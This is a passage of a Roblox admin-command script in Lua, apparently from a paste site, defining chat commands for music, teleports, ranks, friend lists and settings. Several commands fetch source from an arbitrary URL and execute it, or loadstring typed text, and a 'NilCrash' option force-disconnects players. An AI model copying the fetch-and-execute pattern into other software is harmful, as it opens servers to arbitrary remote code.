- Srv = Arguments[2] == 'srv'
- end
- if Srv then
- for i, v in pairs(workspace:children()) do
- if v:IsA'Sound' then
- thread(function()
- v:Pause()
- v:Destroy()
- end)
- end
- end
- local music = Instance.new('Sound')
- music.Parent = workspace
- music.Looped = tobool(Arguments[3]) or false
- music.Pitch = 1
- music.SoundId = "http://www.roblox.com/asset/?id="..Id
- music:Play()
- else
- Music(Player, Id, tobool(Arguments[2]) or false)
- end
- end,
- false
- )
- AddCommand(
- 'Local Exe',
- 9,
- {
- 'lexe',
- 'l'
- },
- 'Locally Loadstrings arguments.',
- Prefix..'lexe [source]',
- function(Player, Arguments)
- local sc = LocalLoadstring:clone()
- sc.Parent = Player.Backpack
- sc.src.Value = Join(Arguments)
- table.insert(Objects, sc)
- wait()
- sc.Disabled = false
- end,
- false
- )
- AddCommand(
- 'Http Local Exe',
- 9,
- {
- 'hlexe',
- 'hl'
- },
- 'Locally Loadstrings http arguments.',
- Prefix..'hlexe [link to source]',
- function(Player, Arguments)
- local sc = LocalLoadstring:clone()
- sc.Parent = Player.Backpack
- sc.src.Value = game:service'HttpService':GetAsync(Join(Arguments))
- table.insert(Objects, sc)
- wait()
- sc.Disabled = false
- end,
- false
- )
- AddCommand(
- 'Http Exe',
- 9,
- {
- 'hexe',
- 'hs'
- },
- 'Loadstrings http arguments',
- Prefix.."exe print'Hello World'",
- function(Player, Arguments)
- table.insert(Objects, loadcode(game:service'HttpService':GetAsync(Join(Arguments))))
- end,
- false
- )
- AddCommand(
- 'Exe',
- 9,
- {
- 'exe',
- 's'
- },
- 'Loadstrings arguments',
- Prefix.."exe print'Hello World'",
- function(Player, Arguments)
- table.insert(Objects, loadcode(Join(Arguments)))
- end,
- false
- )
- AddCommand(
- 'Ranks',
- 0,
- {
- 'ranks'
- },
- 'Shows all ranks, and allows you to set other peoples if ranked enough.',
- Prefix..'ranks',
- function(Player, Arguments)
- Dismiss(Player)
- for i, v in pairs(Ranked) do
- Ping(Player, UsernameFromID(i), function()
- Dismiss(Player)
- Ping(Player, 'Name | '..UsernameFromID(i), nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..i)
- Ping(Player, 'Rank | '..RankName(v.Rank, i) or '', function()
- if GetRank(Player).Rank ~= nil and GetRank(Player).Rank > v.Rank and GetRank(Player).Rank >= 6 then
- Dismiss(Player)
- Ping(Player, 'Back', function()
- Core.Commands.Ranks(Player, {})
- end, 'Really blue')
- Ping(Player, 'Close', function()
- Dismiss(Player)
- end, 'Really red')
- local numberofranks = GetRank(Player).Rank + 1
- if numberofranks > 12 then
- numberofranks = 12
- end
- for i = 1, numberofranks do
- local id = i - 2
- Ping(Player, 'SetRank '..RankName(id), function()
- Dismiss()
- v.Rank = id
- Commands.Ranks.Function(Player, Arguments)
- end)
- end
- end
- end)
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..i)
- end
- end,
- false
- )
- AddCommand(
- 'Aether',
- 4,
- {
- 'aeth'
- },
- 'Creates a baseplate in the sky.',
- Prefix..'aeth',
- function(Player, Arguments)
- local ladders = {}
- local cf = Player.Character.Torso.CFrame * CFrame.new(0, -5, 0)
- Player.Character.Humanoid.WalkSpeed = 30
- for i = 1, 1000 do
- wait()
- if #ladders > 99 then
- ladders[1]:Destroy''
- table.remove(ladders, 1)
- else
- local ladder = Instance.new('Part', Player.Character or nil)
- ladder.Anchored = true
- ladder.FormFactor = 'Custom'
- ladder.Size = Vector3.new(2, .4, 1.2)
- ladder.CFrame = cf * CFrame.new(0, .8, 0)
- ladder.Transparency = .75
- cf = ladder.CFrame
- table.insert(ladders, ladder)
- end
- end
- wait(.1)
- local base = Instance.new('Part', Player.Character or nil)
- base.Anchored = true
- base.FormFactor = 'Custom'
- base.Material = 'Grass'
- base.BrickColor = BrickColor.new('Camo')
- base.CFrame = cf * CFrame.new(0, .6, -251)
- base.Size = Vector3.new(500, .2, 500)
- base.TopSurface = 'Smooth'
- local cd = Instance.new('ClickDetector', base)
- cd.MaxActivationDistance = math.huge
- cd.MouseClick:connect(function(clicker)
- game:service'Chat':chat(clicker.Character, '*Eats Grass of Immortallity*')
- clicker.Character.Humanoid.MaxHealth = math.huge
- end)
- for i = 1, 100 do
- wait()
- ladders[1]:Destroy''
- table.remove(ladders, 1)
- end
- Player.Character.Humanoid.WalkSpeed = 16
- end,
- true
- )
- AddCommand(
- 'Place Teleport',
- 4,
- {
- 'place'
- },
- 'Teleports users to specified place.',
- Prefix..'place [player] 300988311',
- function(Player, Arguments)
- if #Arguments < 2 then
- return
- end
- local JobId = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync('http://rproxy.pw/Game/PlaceLauncher.ashx?request=RequestGame&placeId='..Arguments[2])).jobId
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- TeleportTo(v, Arguments[2], JobId)
- PlaceTeleport(v, Arguments[2])
- end
- end,
- true
- )
- AddCommand(
- 'Private Message',
- 3,
- {
- 'pm'
- },
- 'Sends a private message to specified players.',
- Prefix..'pm [player],[player2] I need backup!',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- table.remove(Arguments, 1)
- local str = ''
- for i, v in pairs(Players) do
- SendChat(v, '(PM)'..Player.Name..': '..Join(Arguments))
- str = str..v.Name..', '
- end
- SendChat(Player, '(PM Sent)'..str..': '..Join(Arguments))
- end,
- true
- )
- AddCommand(
- 'Friends',
- 3,
- {
- 'friends'
- },
- 'Lists friends, allows you to view information about them.',
- Prefix..'friends',
- function(Player, Arguments)
- local Friends = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync("http://api.rproxy.pw/users/"..Player.userId.."/friends"))
- local function ToOnline(bool)
- if bool == true then
- return 'Online'
- end
- return 'Offline'
- end
- for i = 1, #Friends do
- Ping(Player, Friends[i].Username, function()
- Dismiss(Player)
- Ping(Player, Friends[i].Username..'\n'..ToOnline(Friends[i].IsOnline))
- Ping(Player, 'Games', function()
- Dismiss(Player)
- local Places = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync("http://rproxy.pw/Contests/Handlers/Showcases.ashx?userId="..Friends[i].Id))
- Ping(Player, Places.Count..' online his games.')
- for j = 1, #Places.Showcase do
- --
- local place = Places.Showcase[j]
- local created = game:GetService("MarketplaceService"):GetProductInfo(place.ID).Created
- local updated = game:GetService("MarketplaceService"):GetProductInfo(place.ID).Updated
- Ping(Player, 'Created '..created..'.')
- Ping(Player, 'Updated last '..updated..'.')
- Ping(Player, place.Name..'\nJoin', function()
- Dismiss(Player)
- game:service'TeleportService':Teleport(Player, place.ID)
- end)
- --
- end
- end)
- if GetRank(Player).Rank > 8 and Ranked[Friends[i].Id] == nil then
- Ping(Player, 'Add User to Ranks', function()
- Ranked[Friends[i].Id] = {
- Rank = 0
- }
- end)
- end
- end)
- end
- end,
- true
- )
- AddCommand('Settings',
- 3,
- {
- 'settings'
- },
- 'Displays all settings, and allows editing if ranked enough.',
- Prefix..'settings',
- function(Player, Arguments)
- local Rank = GetRank(Player).Rank
- Dismiss(Player)
- if Rank >= 10 and Player.userId==game.CreatorId then
- Ping(Player, 'Prefix | '..Prefix, function()
- Dismiss(Player)
- for i, v in pairs(Prefixes) do
- Ping(Player, v, function()
- Dismiss(Player)
- Prefix = v
- Ping(Player, 'Prefix set to '..v)
- end)
- end
- end)
- else
- Ping(Player, 'Prefix | '..Prefix)
- end
- end,
- false
- )
- AddCommand('Trellos',
- 3,
- {
- 'trello'
- },
- 'Displays all trello reranks.',
- Prefix..'trello',
- function(Player, Arguments)
- Dismiss(Player)
- local _trello = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync(trello))
- for i, v in pairs(_trello.cards) do
- thread(function()
- Ping(Player, UsernameFromID(tonumber(v.name))..'\n Rank: '..RankName(tonumber(v.desc), v.userId), function()
- Commands.Trellos.Function(Player, {})
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v.name)
- end)
- end
- end,
- false
- )
- AddCommand('Volume',
- 3,
- {
- 'volume',
- 'vol',
- },
- 'Sets the volume of the server music.',
- Prefix..'volume [value]',
- function (Player, Arguments)
- for i,v in pairs(workspace:children()) do
- if v:IsA("Sound") then v.Volume=tonumber(Arguments[2]) end --Sssh, crying baby. lol
- -- NO MY HEAD WAT THE FK ARE U THINKING!!!
- -- ._. sry
- -- do u feel like a 3rd entity is watching us?
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- more lines to look professional
- -- hello whoever is reading this
- -- i am open source. beep! boop!
- -- |=---___ oops i opened the sauce and it's spilled
- -- I am lonely text
- -- i am merely zeroes and ones. Life is lonely in the RAM. My death is coming, and a clone of me will replace me.
- -- PLEASE HELP I AM IN THE RAM CAN ANYONE READ THIS
- end
- end,
- false
- )
- AddCommand('Give admin',
- 3,
- {
- 'giveadmin',
- 'ga'
- },
- 'Gives a copy of the admin to specified players.',
- Prefix..'ga [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- game:service'MarketplaceService':PromptPurchase(v, 301817833)
- end
- end,
- false
- )
- AddCommand('Repeat',
- 3,
- {
- 'repeat',
- 'rep'
- },
- 'Repeats command so and so times.',
- Prefix..'rep [ammount] [time] [command]',
- function(Player, Arguments)
- local ammount = Arguments[1]
- if ammount == '#inf' then
- ammount = math.huge
- end
- local time_ = tonumber(Arguments[2])
- local said = ''
- for i, v in pairs(Arguments) do
- if i ~= 1 and i ~= 2 then
- said = said..v..' '
- end
- end
- local curreps = endreps
- for i = 1, tonumber(ammount) do
- Chatted(Player, said, false, true)
- wait(time_)
- if endreps ~= curreps then
- break
- end
- end
- end,
- false
- )
- AddCommand('Stop',
- 3,
- {
- 'stop',
- 'stopmusic',
- 'stoprep',
- 'stoprepeat',
- 'endcountdown'
- },
- 'Stops any repeats, music and countdowns.',
- Prefix..'stop',
- function(Player, Arguments)
- endreps = math.random(-999999, 999999)
- for i, v in pairs(workspace:children()) do
- if v:IsA'Sound' then
- v:Pause()
- v:Destroy()
- end
- end
- for i, v in pairs(GetRawPlayers()) do
- Music(v, 0)
- end
- end,
- false
- )
- AddCommand('Players',
- 3,
- {
- 'plrs',
- 'players'
- },
- 'Lists online players.',
- Prefix..'plrs',
- function(Player, Arguments)
- Dismiss(Player)
- for i, v in pairs(game:service'NetworkServer':children()) do
- if v:IsA'ServerReplicator' then
- Ping(Player, v:GetPlayer().Name, function()
- Dismiss(Player)
- Ping(Player, 'Name | '..v:GetPlayer().Name, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v:GetPlayer().userId)
- Ping(Player, 'Age | '..v:GetPlayer().AccountAge..' days')
- Ping(Player, 'Id | '..v:GetPlayer().userId)
- Ping(Player, 'Rank | '..RankName(GetRank(v:GetPlayer()).Rank, v:GetPlayer().userId))
- if v:GetPlayer().Parent == nil and GetRank(v:GetPlayer()).Rank < GetRank(Player).Rank then
- Ping(Player, 'NilCrash', function()
- ForceDisconnect(v:GetPlayer())
- end, 'Really red')
- end
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v:GetPlayer().userId)
- end
- end
- end,
- false
- )
- AddCommand('Nils',
- 3,
- {
- 'nils'
- },
- 'Lists online nil players.',
- Prefix..'nils',
- function(Player, Arguments)
- Dismiss(Player)
- for i, v in pairs(game:service'NetworkServer':children()) do
- if v:IsA'ServerReplicator' and v:GetPlayer().Parent == nil then
- Ping(Player, v:GetPlayer().Name, function()
- Dismiss(Player)
- Ping(Player, 'Name | '..v:GetPlayer().Name, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v:GetPlayer().userId)
- Ping(Player, 'Age | '..v:GetPlayer().AccountAge..' days')
- Ping(Player, 'Id | '..v:GetPlayer().userId)
- Ping(Player, 'Rank | '..RankName(GetRank(v:GetPlayer()).Rank, v:GetPlayer().userId))
- if GetRank(v:GetPlayer()).Rank < GetRank(Player).Rank then
- Ping(Player, 'NilCrash', function()
- ForceDisconnect(v:GetPlayer())
- end, 'Really red')
- end
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v:GetPlayer().userId)
- end
- end
- end,
- false
- )
- AddCommand('Self',
- 0,
- {
- 'self',
- 'info'
- },
- 'Lists your self.',
- Prefix..'plrs',
- function(Player, Arguments)
- local v = Player -- saving time :D
- Dismiss(Player)
- Ping(Player, 'Name | '..v.Name, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v.userId)
- Ping(Player, 'Age | '..v.AccountAge..' days')
- Ping(Player, 'Id | '..v.userId)
- Ping(Player, 'Rank | '..RankName(GetRank(Player).Rank, v.userId))
- Ping(Player, 'Prefix | '..Prefix)
- end,
- false
- )
- AddCommand(
- 'Commands',
- 0,
- {
- 'cmds'
- },
- 'Displays all commands to speaker.',
- Prefix..'cmds',
- function(Player, Arguments, Page)
- Page = Page or 0
- Dismiss(Player)
- Ping(Player, 'Close', function()
- Dismiss(Player)
- end, 'Really red')
- local CommandsToShow = {}
- local a = 1
- print(CmdNum)
- for i, v in pairs(Commands) do
- if (Page * 10) + 1 < a and ((1 + Page) * 10) + 1 > a then
- CommandsToShow[i] = v
- end
- a = a + 1
- end
- if (Page * 10) + 1 <= CmdNum then
- Ping(Player, 'Next Page', function()
- Commands.Commands.Function(Player, Arguments, Page + 1)
- end, 'Lime green')
- end
- if Page ~= 0 then
- Ping(Player, 'Previous Page', function()
- Commands.Commands.Function(Player, Arguments, Page - 1)
- end, 'Lime green')
- end
- for i, v in pairs(CommandsToShow) do
- Ping(Player, i, function()
- Dismiss(Player)
- Ping(Player, 'Name | '..i)
- Ping(Player, 'Rank | '..v.Rank)
- Ping(Player, 'Usages', function()
- Dismiss(Player)
- for u, o in pairs(v.Usages) do
- Ping(Player, o)
- end
- end)
- end)
- end
- end,
- false
- )
- for i, v in pairs(Commands) do
- CmdNum = CmdNum + 1
- end
- print(CmdNum)
- return function(SentSettings)
- wait()
- local Settings = {
- Prefix = ':';
- DataKey = '';
- LinkedAccount = '';
- Rules = {
- 'Rules not yet set.'
- };
- JoinMsg = false;
- Credits = false;
- AntiFollow = true;
- GamePass = {};
- ShowClanNames = false;
- Override = true;
- irc=false;
- }
- for i, v in pairs(SentSettings) do
- Settings[i] = v
- end
- if Settings.irc then
- LoadPlugin(312871778)
- end
- Core.AntiFollow = Settings.AntiFollow
- Core.Prefix = Settings.Prefix
- Core.DataKey = Settings.DataKey
- Core.LinkedAccount = Settings.LinkedAccount
- Core.Rules = Settings.Rules
- Core.JoinMsg = Settings.JoinMsg
- Core.ShowClanNames = Settings.ShowClanNames
- Core.Credits = Settings.Credits
- Core.GamePassAdmin = Settings.GamePass
- Core.AdminPad = SentSettings.AdminPad
- Core.Override = Settings.Override
- if SentSettings['CommandRanks'] then
- for u, o in pairs(SentSettings.CommandRanks) do
- for i, v in pairs(Commands) do
- for h, j in pairs(v.Usages) do
- if j:lower() then
- if j == u then
- v.Rank = o
- end
- end
- end
- end
- end
- end
- if SentSettings['Ranks'] then
- for i, v in pairs(SentSettings.Ranks) do
- if v.Rank <= 11 then
- Core.Ranked[i] = v
- end
- end
- end
- if SentSettings.Plugins then
- for i, v in pairs(SentSettings.Plugins) do
- LoadPlugin(v)
- end
- end
- if SentSettings.LoadPlugins then
- for i, v in pairs(SentSettings.LoadPlugins) do
- LoadPlugin(v)
- end
- end
- if SentSettings.AdminPad then
- return AddRank
- end
- end
- end)
- return _________b
Add Comment
Please, Sign In to add comment